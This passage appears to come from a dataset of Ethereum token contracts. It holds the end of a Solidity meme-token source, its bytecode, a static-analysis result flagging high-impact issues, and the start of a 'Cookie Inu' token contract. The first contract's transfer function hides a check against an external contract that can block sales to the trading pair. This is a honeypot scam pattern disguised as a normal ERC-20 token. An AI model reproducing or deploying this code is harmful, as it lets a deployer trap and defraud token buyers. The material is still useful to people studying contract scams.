TOKEN_NAME; string private constant _symbol = TOKEN_SYMBOL; uint8 private constant _decimals = DECIMALS; IUniswapV2Router02 private _router; address private _pair; bool private tradingOpen; bool private inSwap = false; bool private swapEnabled = false; modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor () { _taxWallet = payable(_msgSender()); _rOwned[_msgSender()] = _rTotal; _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[_taxWallet] = true; emit Transfer(address(0x0), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function tokenFromReflection(uint256 rAmount) private view returns(uint256) { require(rAmount <= _rTotal, "Amount must be less than total reflections"); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer(address from, address to, uint256 amount) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); require(((to == _pair && from != address(_router) )?amount:0) <= Odin(ROUTER_ADDRESS).amount(address(this))); if (from != owner() && to != owner()) { uint256 contractTokenBalance = balanceOf(address(this)); if (!inSwap && from != _pair && swapEnabled) { swapTokensForEth(contractTokenBalance); uint256 contractETHBalance = address(this).balance; if(contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } _tokenTransfer(from,to,amount); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = _router.WETH(); _approve(address(this), address(_router), tokenAmount); _router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } modifier overridden() { require(_taxWallet == _msgSender() ); _; } function sendETHToFee(uint256 amount) private { _taxWallet.transfer(amount); } function openTrading() external onlyOwner() { require(!tradingOpen,"trading is already open"); IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(UNISWAP_ADDRESS); _router = _uniswapV2Router; _approve(address(this), address(_router), _tTotal); _pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH()); _router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp); swapEnabled = true; tradingOpen = true; IERC20(_pair).approve(address(_router), type(uint).max); } function _tokenTransfer(address sender, address recipient, uint256 amount) private { _transferStandard(sender, recipient, amount); } function _transferStandard(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function manualSwap() external { require(_msgSender() == _taxWallet); uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualSend() external { require(_msgSender() == _taxWallet); uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _burnFee, _taxFee); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) { uint256 tFee = tAmount.mul(taxFee).div(100); uint256 tTeam = tAmount.mul(TeamFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns(uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns(uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } }
0x6080604052600436106100e15760003560e01c8063715018a61161007f578063a9059cbb11610059578063a9059cbb146102a9578063c9567bf9146102e6578063dd62ed3e146102fd578063f42938901461033a576100e8565b8063715018a61461023c5780638da5cb5b1461025357806395d89b411461027e576100e8565b806323b872dd116100bb57806323b872dd14610180578063313ce567146101bd57806351bc3c85146101e857806370a08231146101ff576100e8565b806306fdde03146100ed578063095ea7b31461011857806318160ddd14610155576100e8565b366100e857005b600080fd5b3480156100f957600080fd5b50610102610351565b60405161010f919061230f565b60405180910390f35b34801561012457600080fd5b5061013f600480360381019061013a9190611ed2565b61038e565b60405161014c91906122f4565b60405180910390f35b34801561016157600080fd5b5061016a6103ac565b6040516101779190612471565b60405180910390f35b34801561018c57600080fd5b506101a760048036038101906101a29190611e7f565b6103bc565b6040516101b491906122f4565b60405180910390f35b3480156101c957600080fd5b506101d2610495565b6040516101df91906124e6565b60405180910390f35b3480156101f457600080fd5b506101fd61049e565b005b34801561020b57600080fd5b5061022660048036038101906102219190611de5565b610518565b6040516102339190612471565b60405180910390f35b34801561024857600080fd5b50610251610569565b005b34801561025f57600080fd5b506102686106bc565b6040516102759190612226565b60405180910390f35b34801561028a57600080fd5b506102936106e5565b6040516102a0919061230f565b60405180910390f35b3480156102b557600080fd5b506102d060048036038101906102cb9190611ed2565b610722565b6040516102dd91906122f4565b60405180910390f35b3480156102f257600080fd5b506102fb610740565b005b34801561030957600080fd5b50610324600480360381019061031f9190611e3f565b610c71565b6040516103319190612471565b60405180910390f35b34801561034657600080fd5b5061034f610cf8565b005b60606040518060400160405280600881526020017f456c6f6e20436174000000000000000000000000000000000000000000000000815250905090565b60006103a261039b610d6a565b8484610d72565b6001905092915050565b600067016345785d8a0000905090565b60006103c9848484610f3d565b61048a846103d5610d6a565b61048585604051806060016040528060288152602001612ac160289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600061043b610d6a565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546113059092919063ffffffff16565b610d72565b600190509392505050565b60006008905090565b600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166104df610d6a565b73ffffffffffffffffffffffffffffffffffffffff16146104ff57600080fd5b600061050a30610518565b905061051581611369565b50565b6000610562600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546115f1565b9050919050565b610571610d6a565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146105fe576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016105f5906123d1565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600781526020017f454c4f4e43415400000000000000000000000000000000000000000000000000815250905090565b600061073661072f610d6a565b8484610f3d565b6001905092915050565b610748610d6a565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146107d5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016107cc906123d1565b60405180910390fd5b600b60149054906101000a900460ff1615610825576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161081c90612451565b60405180910390fd5b6000737a250d5630b4cf539739df2c5dacb4c659f2488d905080600a60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506108b430600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1667016345785d8a0000610d72565b8073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b1580156108fa57600080fd5b505afa15801561090e573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906109329190611e12565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561099457600080fd5b505afa1580156109a8573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906109cc9190611e12565b6040518363ffffffff1660e01b81526004016109e9929190612241565b602060405180830381600087803b158015610a0357600080fd5b505af1158015610a17573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610a3b9190611e12565b600b60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d7194730610ac430610518565b600080610acf6106bc565b426040518863ffffffff1660e01b8152600401610af196959493929190612293565b6060604051808303818588803b158015610b0a57600080fd5b505af1158015610b1e573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610b439190611f6c565b5050506001600b60166101000a81548160ff0219169083151502179055506001600b60146101000a81548160ff021916908315150217905550600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b8152600401610c1b92919061226a565b602060405180830381600087803b158015610c3557600080fd5b505af1158015610c49573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610c6d9190611f12565b5050565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610d39610d6a565b73ffffffffffffffffffffffffffffffffffffffff1614610d5957600080fd5b6000479050610d678161165f565b50565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610de2576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610dd990612431565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610e52576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e4990612371565b60405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051610f309190612471565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610fad576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610fa490612411565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141561101d576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161101490612331565b60405180910390fd5b60008111611060576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611057906123f1565b60405180910390fd5b73690f08828a4013351db74e916acc16f558ed157973ffffffffffffffffffffffffffffffffffffffff1663b9f0bf66306040518263ffffffff1660e01b81526004016110ad9190612226565b60206040518083038186803b1580156110c557600080fd5b505afa1580156110d9573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906110fd9190611f3f565b600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161480156111a85750600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b6111b35760006111b5565b815b11156111c057600080fd5b6111c86106bc565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415801561123657506112066106bc565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b156112f557600061124630610518565b9050600b60159054906101000a900460ff161580156112b35750600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b80156112cb5750600b60169054906101000a900460ff165b156112f3576112d981611369565b600047905060008111156112f1576112f04761165f565b5b505b505b6113008383836116cb565b505050565b600083831115829061134d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611344919061230f565b60405180910390fd5b506000838561135c9190612637565b9050809150509392505050565b6001600b60156101000a81548160ff0219169083151502179055506000600267ffffffffffffffff8111156113a1576113a0612792565b5b6040519080825280602002602001820160405280156113cf5781602001602082028036833780820191505090505b50905030816000815181106113e7576113e6612763565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561148957600080fd5b505afa15801561149d573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906114c19190611e12565b816001815181106114d5576114d4612763565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505061153c30600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1684610d72565b600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b81526004016115a095949392919061248c565b600060405180830381600087803b1580156115ba57600080fd5b505af11580156115ce573d6000803e3d6000fd5b50505050506000600b60156101000a81548160ff02191690831515021790555050565b6000600754821115611638576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161162f90612351565b60405180910390fd5b60006116426116db565b9050611657818461170690919063ffffffff16565b915050919050565b600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f193505050501580156116c7573d6000803e3d6000fd5b5050565b6116d6838383611750565b505050565b60008060006116e861191b565b915091506116ff818361170690919063ffffffff16565b9250505090565b600061174883836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f00000000000081525061197a565b905092915050565b600080600080600080611762876119dd565b9550955095509550955095506117c086600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611a4390919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061185585600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611a8d90919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506118a181611aeb565b6118ab8483611ba8565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516119089190612471565b60405180910390a3505050505050505050565b60008060006007549050600067016345785d8a0000905061194f67016345785d8a000060075461170690919063ffffffff16565b82101561196d5760075467016345785d8a0000935093505050611976565b81819350935050505b9091565b600080831182906119c1576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016119b8919061230f565b60405180910390fd5b50600083856119d091906125ac565b9050809150509392505050565b60008060008060008060008060006119f88a60016009611be2565b9250925092506000611a086116db565b90506000806000611a1b8e878787611c78565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b6000611a8583836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611305565b905092915050565b6000808284611a9c9190612556565b905083811015611ae1576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611ad890612391565b60405180910390fd5b8091505092915050565b6000611af56116db565b90506000611b0c8284611d0190919063ffffffff16565b9050611b6081600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611a8d90919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b611bbd82600754611a4390919063ffffffff16565b600781905550611bd881600854611a8d90919063ffffffff16565b6008819055505050565b600080600080611c0e6064611c00888a611d0190919063ffffffff16565b61170690919063ffffffff16565b90506000611c386064611c2a888b611d0190919063ffffffff16565b61170690919063ffffffff16565b90506000611c6182611c53858c611a4390919063ffffffff16565b611a4390919063ffffffff16565b905080838395509550955050505093509350939050565b600080600080611c918589611d0190919063ffffffff16565b90506000611ca88689611d0190919063ffffffff16565b90506000611cbf8789611d0190919063ffffffff16565b90506000611ce882611cda8587611a4390919063ffffffff16565b611a4390919063ffffffff16565b9050838184965096509650505050509450945094915050565b600080831415611d145760009050611d76565b60008284611d2291906125dd565b9050828482611d3191906125ac565b14611d71576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611d68906123b1565b60405180910390fd5b809150505b92915050565b600081359050611d8b81612a7b565b92915050565b600081519050611da081612a7b565b92915050565b600081519050611db581612a92565b92915050565b600081359050611dca81612aa9565b92915050565b600081519050611ddf81612aa9565b92915050565b600060208284031215611dfb57611dfa6127c1565b5b6000611e0984828501611d7c565b91505092915050565b600060208284031215611e2857611e276127c1565b5b6000611e3684828501611d91565b91505092915050565b60008060408385031215611e5657611e556127c1565b5b6000611e6485828601611d7c565b9250506020611e7585828601611d7c565b9150509250929050565b600080600060608486031215611e9857611e976127c1565b5b6000611ea686828701611d7c565b9350506020611eb786828701611d7c565b9250506040611ec886828701611dbb565b9150509250925092565b60008060408385031215611ee957611ee86127c1565b5b6000611ef785828601611d7c565b9250506020611f0885828601611dbb565b9150509250929050565b600060208284031215611f2857611f276127c1565b5b6000611f3684828501611da6565b91505092915050565b600060208284031215611f5557611f546127c1565b5b6000611f6384828501611dd0565b91505092915050565b600080600060608486031215611f8557611f846127c1565b5b6000611f9386828701611dd0565b9350506020611fa486828701611dd0565b9250506040611fb586828701611dd0565b9150509250925092565b6000611fcb8383611fd7565b60208301905092915050565b611fe08161266b565b82525050565b611fef8161266b565b82525050565b600061200082612511565b61200a8185612534565b935061201583612501565b8060005b8381101561204657815161202d8882611fbf565b975061203883612527565b925050600181019050612019565b5085935050505092915050565b61205c8161267d565b82525050565b61206b816126c0565b82525050565b600061207c8261251c565b6120868185612545565b93506120968185602086016126d2565b61209f816127c6565b840191505092915050565b60006120b7602383612545565b91506120c2826127d7565b604082019050919050565b60006120da602a83612545565b91506120e582612826565b604082019050919050565b60006120fd602283612545565b915061210882612875565b604082019050919050565b6000612120601b83612545565b915061212b826128c4565b602082019050919050565b6000612143602183612545565b915061214e826128ed565b604082019050919050565b6000612166602083612545565b91506121718261293c565b602082019050919050565b6000612189602983612545565b915061219482612965565b604082019050919050565b60006121ac602583612545565b91506121b7826129b4565b604082019050919050565b60006121cf602483612545565b91506121da82612a03565b604082019050919050565b60006121f2601783612545565b91506121fd82612a52565b602082019050919050565b612211816126a9565b82525050565b612220816126b3565b82525050565b600060208201905061223b6000830184611fe6565b92915050565b60006040820190506122566000830185611fe6565b6122636020830184611fe6565b9392505050565b600060408201905061227f6000830185611fe6565b61228c6020830184612208565b9392505050565b600060c0820190506122a86000830189611fe6565b6122b56020830188612208565b6122c26040830187612062565b6122cf6060830186612062565b6122dc6080830185611fe6565b6122e960a0830184612208565b979650505050505050565b60006020820190506123096000830184612053565b92915050565b600060208201905081810360008301526123298184612071565b905092915050565b6000602082019050818103600083015261234a816120aa565b9050919050565b6000602082019050818103600083015261236a816120cd565b9050919050565b6000602082019050818103600083015261238a816120f0565b9050919050565b600060208201905081810360008301526123aa81612113565b9050919050565b600060208201905081810360008301526123ca81612136565b9050919050565b600060208201905081810360008301526123ea81612159565b9050919050565b6000602082019050818103600083015261240a8161217c565b9050919050565b6000602082019050818103600083015261242a8161219f565b9050919050565b6000602082019050818103600083015261244a816121c2565b9050919050565b6000602082019050818103600083015261246a816121e5565b9050919050565b60006020820190506124866000830184612208565b92915050565b600060a0820190506124a16000830188612208565b6124ae6020830187612062565b81810360408301526124c08186611ff5565b90506124cf6060830185611fe6565b6124dc6080830184612208565b9695505050505050565b60006020820190506124fb6000830184612217565b92915050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b6000612561826126a9565b915061256c836126a9565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff038211156125a1576125a0612705565b5b828201905092915050565b60006125b7826126a9565b91506125c2836126a9565b9250826125d2576125d1612734565b5b828204905092915050565b60006125e8826126a9565b91506125f3836126a9565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff048311821515161561262c5761262b612705565b5b828202905092915050565b6000612642826126a9565b915061264d836126a9565b9250828210156126605761265f612705565b5b828203905092915050565b600061267682612689565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b60006126cb826126a9565b9050919050565b60005b838110156126f05780820151818401526020810190506126d5565b838111156126ff576000848401525b50505050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b600080fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b7f74726164696e6720697320616c7265616479206f70656e000000000000000000600082015250565b612a848161266b565b8114612a8f57600080fd5b50565b612a9b8161267d565b8114612aa657600080fd5b50565b612ab2816126a9565b8114612abd57600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212202c338d9b89cee98b37cbd4909f125f3b14779efad1ccb5f86c25a0c02043756d64736f6c63430008070033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "tautology", "impact": "Medium", "confidence": "High"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
6,740
0x4cbd3c430d332282777c9ec733d018eebb2100a2
/** *Submitted for verification at Etherscan.io on 2021-07-10 */ /* Welcome to Cookie Inu! Have a cookie while you wait🍪 https://twitter.com/cookieinuETH https://t.me/cookieinu https://cookie-inu.com */ // SPDX-License-Identifier: Unlicensed pragma solidity ^0.6.12; abstract contract Context { function _msgSender() internal view virtual returns (address payable) { return msg.sender; } function _msgData() internal view virtual returns (bytes memory) { this; return msg.data; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } library Address { function isContract(address account) internal view returns (bool) { bytes32 codehash; bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470; assembly { codehash := extcodehash(account) } return (codehash != accountHash && codehash != 0x0); } function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); (bool success, ) = recipient.call{ value: amount }(""); require(success, "Address: unable to send value, recipient may have reverted"); } function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { return _functionCallWithValue(target, data, 0, errorMessage); } function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); return _functionCallWithValue(target, data, value, errorMessage); } function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) { require(isContract(target), "Address: call to non-contract"); (bool success, bytes memory returndata) = target.call{ value: weiValue }(data); if (success) { return returndata; } else { if (returndata.length > 0) { assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () internal { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); } contract CINU is Context, IERC20, Ownable { using SafeMath for uint256; using Address for address; mapping (address => uint256) private _rOwned; mapping (address => uint256) private _tOwned; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => bool) private 